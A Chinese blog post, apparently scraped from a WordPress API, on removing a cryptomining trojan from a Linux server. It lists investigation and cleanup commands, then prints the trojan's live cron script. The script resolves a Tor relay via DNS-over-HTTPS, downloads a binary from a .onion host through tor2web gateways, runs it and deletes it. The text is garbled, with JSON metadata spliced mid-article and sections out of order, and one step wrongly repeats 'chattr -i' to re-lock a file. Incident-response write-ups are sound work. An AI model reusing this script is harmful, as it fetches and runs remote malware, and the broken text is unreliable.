\u5148\u6765\u4e3b\u8981\u4f7f\u7528\u7684\u547d\u4ee4
top \u68c0\u67e5\u8fdb\u7a0b\uff0c\u627e\u5230CPU\u5360\u7528\u8f83\u9ad8\u7684
lsof -p pid \u68c0\u67e5\u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4\u3001\u8c03\u7528\u8bb0\u5f55
pstree -H pid \u68c0\u67e5\u7236\u8fdb\u7a0b\uff0c\u4e00\u822c\u7528\u4e8e\u67e5\u627e\u54ea\u4e2a\u8fdb\u7a0b\u5524\u8d77\u4e3b\u6728\u9a6c\u8fdb\u7a0b\u7684\u3002
kill -9 pid \u6740\u6b7b\u8fdb\u7a0b\uff0c\u5982\u679c\u53ea\u7528kill\uff0c\u5bb9\u6613\u7559\u4e0b\u50f5\u5c38\u8fdb\u7a0b\uff0c\u6e05\u9664\u6728\u9a6c\u65e0\u6548\uff01
find \/etc\/cron* -type f -mtime -30 \u67e5\u627e\/etc \u4e0b\u5b9a\u65f6\u4efb\u52a1\u4e2d\u6700\u8fd1\u88ab\u6539\u52a8\u8fc7\u7684\u6587\u4ef6
crontab -e \u67e5\u770b\u5b9a\u65f6\u4efb\u52a1\uff0c\u627e\u5230\u5f02\u5e38\u7684
lsattr \/etc\/hosts \u67e5\u770bhosts\u6587\u4ef6\u7684\u8bfb\u5199\u5c5e\u6027\uff0c\u5982\u679c\u662f\u6709i\u6807\u5fd7\uff0c\u90a3\u4e48\u9501\u5b9a\u4e86\u53ea\u80fd\u8bfb\uff0c\u8fd9\u4e2a\u6728\u9a6c\u5927\u91cf\u9501\u5b9a\u4e86\u81ea\u5df1\u6587\u4ef6\u4e3a\u53ea\u8bfb\uff01\uff01
\u89e3\u9501 chattr -i \/etc\/hosts
\u518d\u52a0\u9501 chattr -i \/etc\/hosts
\u76ee\u5f55\u7684\u5904\u7406\uff0c\u52a0R\u53c2\u6570 chattr -iR \/tmp\/.X1M-unix<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u5904\u7406\u539f\u5219\uff1a \u9996\u5148\u505c\u6b62\u5b9a\u65f6\u4efb\u52a1 service crond stop <\/strong><\/p>\n\n\n\n 1\u3001\u627e\u5230\u5f02\u5e38\u8fdb\u7a0b\uff0c\u67e5\u627e\u7236\u8fdb\u7a0b\u3002\u6740\u6389 <\/p>\n\n\n\n 2\u3001\u67e5\u627e\u88ab\u4fee\u6539\u7684cornd\u6587\u4ef6\uff0c\u5220\u9664\uff0c\u505a\u597d\u65e5\u5fd7\u76d1\u63a7\uff0c\u9632\u6b62\u5220\u9664\u4e0d\u5e72\u51c0\u3002\u4e00\u822c\u4f4d\u7f6e\u5728 3\u3001\u68c0\u67e5\u4ee5\u53ca\u5220\u9664\u6587\u4ef6\uff0c\u4e3b\u8981\u6709 4\u3001\u6267\u884cldconfig\uff0c\u68c0\u67e5\u7206\u51fa\u6765\u7684\u6240\u6709\u5f02\u5e38\u5e93\u6587\u4ef6\uff0c\u770b\u5176\u5c5e\u6027\uff0c\u5982\u679c\u662f\u53ea\u8bfb\uff0c\u90a3\u5c31\u8981\u5904\u7406\u4e86\u3002<\/p>\n\n\n\n 5\u3001\u4ee5\u4e0a\u64cd\u4f5c\u5c3d\u91cf\u5feb\uff0c\u9632\u6b62\u672a\u5220\u9664\u5e72\u51c0\u5c31\u53c8\u4ea7\u751f\u4e86\u3002 <\/p>\n\n\n\n 6\u3001service crond start\u3002\u542f\u52a8\u5b9a\u65f6\u4efb\u52a1\uff0c\u7528tailf \/var\/log\/crond \u76d1\u63a7\u5b9a\u65f6\u4efb\u52a1\u65e5\u5fd7\uff0c\u770b\u662f\u5426\u6709\u672a\u5e72\u51c0\u7684\u6e05\u7406\u3002\u5982\u53d1\u73b0\u6709\u5f02\u5e38\uff0c\u68c0\u67e5\u6709\u6ca1\u6709\/tmp\/.XX\uff0c\u4ee5\u53cacrontab -e\u662f\u5426\u6709\u65b0\u7684\u6728\u9a6c\u811a\u672c\uff0c\u8fd8\u6709\/opt\u4e0b\u662f\u5426\u6709\u65b0\u6728\u9a6c\u811a\u672c\u51fa\u73b0\u3002<\/p>\n\n\n\n <\/p>\n\n\n\n \u4e4b\u6240\u4ee5\u4e0d\u4e13\u4e1a\uff0c<\/strong> <\/p>\n\n\n\n 1\u3001\u56e0\u4e3a\u8fc7\u7a0b\u4e2d\u59cb\u7ec8\u6ca1\u6709\u627e\u5230\u5165\u4fb5\u7684\u8def\u5f84\uff0c <\/p>\n\n\n\n \u9644\u5c5e\u4e3b\u8981crond\u4e2d\u7684base64\u6728\u9a6c\u811a\u672c<\/p>\n\n\n\n \u611f\u8c22\u5927\u725b\u7684\u6587\u7ae0\nhttps:\/\/www.cnblogs.com\/William-Guozi\/p\/virus.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":" \u5148\u6765\u4e3b\u8981\u4f7f\u7528\u7684\u547d\u4ee4 top \u68c0\u67e5\u8fdb\u7a0b\uff0c\u627e\u5230CPU\u5360\u7528\u8f83\u9ad8\u7684 lsof -p pid \u68c0\u67e5\u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4\u3001\u8c03\u7528\u8bb0\u5f55\u2026 Read More »<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-1022","post","type-post","status-publish","format-standard","hentry","category-os"],"_links":{"self":[{"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/posts\/1022","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1022"}],"version-history":[{"count":5,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/posts\/1022\/revisions"}],"predecessor-version":[{"id":1027,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=\/wp\/v2\/posts\/1022\/revisions\/1027"}],"wp:attachment":[{"href":"https:\/\/www.shuran.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1022"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1022"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.shuran.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1022"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\/etc\/cron.hourly\/
\/etc\/cron.d\/
\/etc\/cron.d\/clamav-update\/
\u4ee5\u53cacrontab -e\u68c0\u67e5 <\/p>\n\n\n\n
\u2460\/tmp\u76ee\u5f55\uff0c\u8f93\u5165ll .\u7136\u540e\u4e24\u6b21tab\u952e
\u4f8b\u5982\/tmp\/.X11-unix\/ \u6216\u8005\/tmp\/.\uff1f\uff1f\u5f02\u5e38\uff0c\u5173\u6ce8\u5176\u751f\u6210\u65f6\u95f4\u5927\u591a\u662f\u56fa\u5b9a\u7684\uff0c\u5173\u6ce8\u5176\u72b6\u6001\uff0c\u4e00\u822c\u90fd\u662f\u53ea\u8bfb\uff0c\u7528lsattr \u6587\u4ef6\u3002\u8fd9\u6b21\u6211\u53d1\u73b0\u4e86\u8fd9\u4e48\u591a
.font-unix\/ .ICE-unix\/\u00a0 .Test-unix\/ .X11-unix\/\u00a0 .XIM-unix\/
\u2461\/opt\u76ee\u5f55 \u8fd9\u4e2a\u76ee\u5f55\u91cc\u505a\u4e00\u6b21lsattr\u68c0\u67e5\uff0c\u5173\u6ce8\u5176\u751f\u6210\u65f6\u95f4
\u2462~\/\u7528\u6237\u76ee\u5f55
\u8f93\u5165ll .\u7136\u540e\u4e24\u6b21tab\u952e
\u505a\u4e00\u6b21lsattr\u68c0\u67e5\uff0c\u5173\u6ce8\u5176\u751f\u6210\u65f6\u95f4
\u2463\u5168\u5c40\u641c\u7d22\u5bf9\u5e94\u65e5\u671f\u7684\u6587\u4ef6\u3002\u4f8b\u5982\u53d1\u73b0\u6728\u9a6c\u76f8\u5173\u6587\u4ef6\u65f6\u95f4\u662f2020-03-23 17:36,\u90a3\u4e48
find \/ * -newermt '2020-03-23 17:00' ! -newermt '2020-03-23 18:00'
\u7136\u540e\u4e00\u4e00\u6821\u9a8c\uff0c\u662f\u5426\u88ab\u4fee\u6539\uff0c\u662f\u5426\u4e3a\u6316\u77ff\u672c\u8eab\u3002
\u2464\u4fee\u6539hosts\u6587\u4ef6 <\/p>\n\n\n\n
2\u3001\u5168\u624b\u52a8\uff0c
3\u3001\u5728\u4e0a\u9762\u7b2c\u4e94\u9879\u6298\u4e86\u5c0f\u534a\u5929\uff0c\u751a\u81f3\u7528\u4e86 touch\u4e00\u4e2a\u7a7a\u6728\u9a6c\u811a\u672c\u6587\u4ef6rvlss\uff0c\u5e76\u7ed9\u4e88chattr +i rvlss\u7684\u65b9\u5f0f\uff0c\u963b\u6b62\u811a\u672c\u540e\u7ee7\u64cd\u4f5c\u7684\u65b9\u5f0f\u3002----\u4e5f\u6709\u6548\u679c\uff01<\/p>\n\n\n\nexec &>\/dev\/null\nexport PATH=$PATH:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\nd=$(grep x:$(id -u): \/etc\/passwd|cut -d: -f6)\nc=$(echo \"curl -4fsSLkA- -m200\")\nt=$(echo \"trumpzwlvlyrvlss\")\n\nsockz() {\np=$(echo \"dns-query?name=relay.tor2socks.in\")\ns=$(($c https:\/\/doh.centraleu.pi-dns.com\/$p ||\n $c https:\/\/dns.twnic.tw\/$p ||\n $c https:\/\/dns.rubyfish.cn\/$p ||\n $c https:\/\/doh.dns.sb\/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\\\n | grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" |tr ' ' '\\n'|sort -uR|head -1 )\n}\n\nfexe() {\nfor i in $d \/tmp \/var\/tmp \/dev\/shm \/usr\/bin ;do echo exit > $i\/i && chmod +x $i\/i && cd $i && .\/i && rm -f i && break;done\n}\n\nu() {\nsockz\nfexe\nf=\/int.$(uname -m)\nx=.\/$(date|md5sum|cut -f1 -d-)\n$c -x socks5h:\/\/$s:9050 $t.onion$f -o$x || $c $1$f -o$x\nchmod +x $x;$x;rm -f $x\n}\n\nfor h in tor2web.in tor2web.io tor2web.to tor2web.su\ndo\nif ! ls \/proc\/$(head -1 \/tmp\/.X11-unix\/00)\/io; then\nu $t.$h\nelse\nbreak\nfi\ndone<\/code><\/pre>\n\n\n\n